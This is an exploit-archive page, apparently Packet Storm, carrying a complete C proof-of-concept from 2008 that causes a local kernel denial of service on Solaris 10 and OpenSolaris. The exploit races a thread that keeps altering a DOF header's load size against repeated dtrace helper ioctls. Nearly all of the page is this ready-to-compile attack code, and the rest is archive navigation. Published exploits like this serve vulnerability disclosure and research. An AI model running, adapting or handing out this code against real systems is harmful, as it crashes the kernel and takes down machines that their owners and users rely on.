exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Solaris 10 / OpenSolaris Denial Of Service

Solaris 10 / OpenSolaris Denial Of Service
Posted May 5, 2009
Authored by mu-b | Site digit-labs.org

Solaris 10 and OpenSolaris dtrace local kernel denial of service proof of concept exploit.

tags | exploit, denial of service, kernel, local, proof of concept
systems | solaris
SHA-256 | b0c6ddc4479ab756016675a410aa2e05eccd12b1c05b67d65b7e67e15aab0b8c

Solaris 10 / OpenSolaris Denial Of Service

Change Mirror Download
/* solaris-dtrace-dos.c
*
* Copyright (c) 2008 by <mu-b@digit-labs.org>
*
* Solaris >= 10/Opensolaris local kernel DoS POC
* by mu-b - Mon 17 Nov 2008
*
* - Tested on: Sun Solaris 10 (SPARC)
* Sun OpenSolaris <= snv_113 (x86)
*
* - Private Source Code -DO NOT DISTRIBUTE -
* http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
*/

#include <stdio.h>
#include <stdlib.h>

#include <assert.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <unistd.h>

#include <dtrace.h>

#define DTRACE_HELPER "/dev/dtrace/helper"

static unsigned int changes = 0;

void *
hammer (void *arg)
{
struct dof_hdr *phdr;

phdr = arg;
while (1)
{
phdr->dofh_loadsz = -1;
changes++;

usleep (10);
}
}

int
main (int argc, char **argv)
{
union {
struct dof_hdr hdr;
unsigned char buf[256*1024];
} hdr_t;
struct dof_hdr *phdr;
int i, fd, n, tid;

printf ("Solaris >= 10/Opensolaris local kernel DoS PoC\n"
"by: <mu-b@digit-labs.org>\n"
"http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");

fd = open (DTRACE_HELPER, O_RDONLY);
if (fd < 0)
{
fprintf (stderr, "failed opening %s\n", DTRACE_HELPER);
return (EXIT_FAILURE);
}

phdr = &hdr_t.hdr;
memset (phdr, 0, sizeof *phdr);

memcpy (&phdr->dofh_ident, DOF_MAG_STRING, DOF_MAG_STRLEN);
phdr->dofh_ident[DOF_ID_MODEL] = DOF_MODEL_LP64;
phdr->dofh_ident[DOF_ID_ENCODING] = DOF_ENCODE_NATIVE;
phdr->dofh_ident[DOF_ID_VERSION] = DOF_VERSION_2;
phdr->dofh_ident[DOF_ID_DIFVERS] = DOF_VERSION_2;
phdr->dofh_ident[DOF_ID_DIFIREG] = DIF_DIR_NREGS;
phdr->dofh_ident[DOF_ID_DIFTREG] = DIF_DTR_NREGS;
phdr->dofh_secsize = 1024;
phdr->dofh_secnum = 1024;
phdr->dofh_secoff = 0x7fffffffffff0000;

n = pthread_create (&tid, NULL, hammer, phdr);
if (n < 0)
{
fprintf (stderr, "failed creating hammer thread\n");
return (EXIT_FAILURE);
}

for (i = 0; ; i++)
{
phdr->dofh_loadsz = sizeof hdr_t / 2;
n = ioctl (fd, DTRACEHIOC_ADD, phdr);
assert (n == -1);

if (!(i % 64))
printf ("tried %d-times, %d-changes\r", i, changes);
}

/* not reached! */
return (EXIT_SUCCESS);
}

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close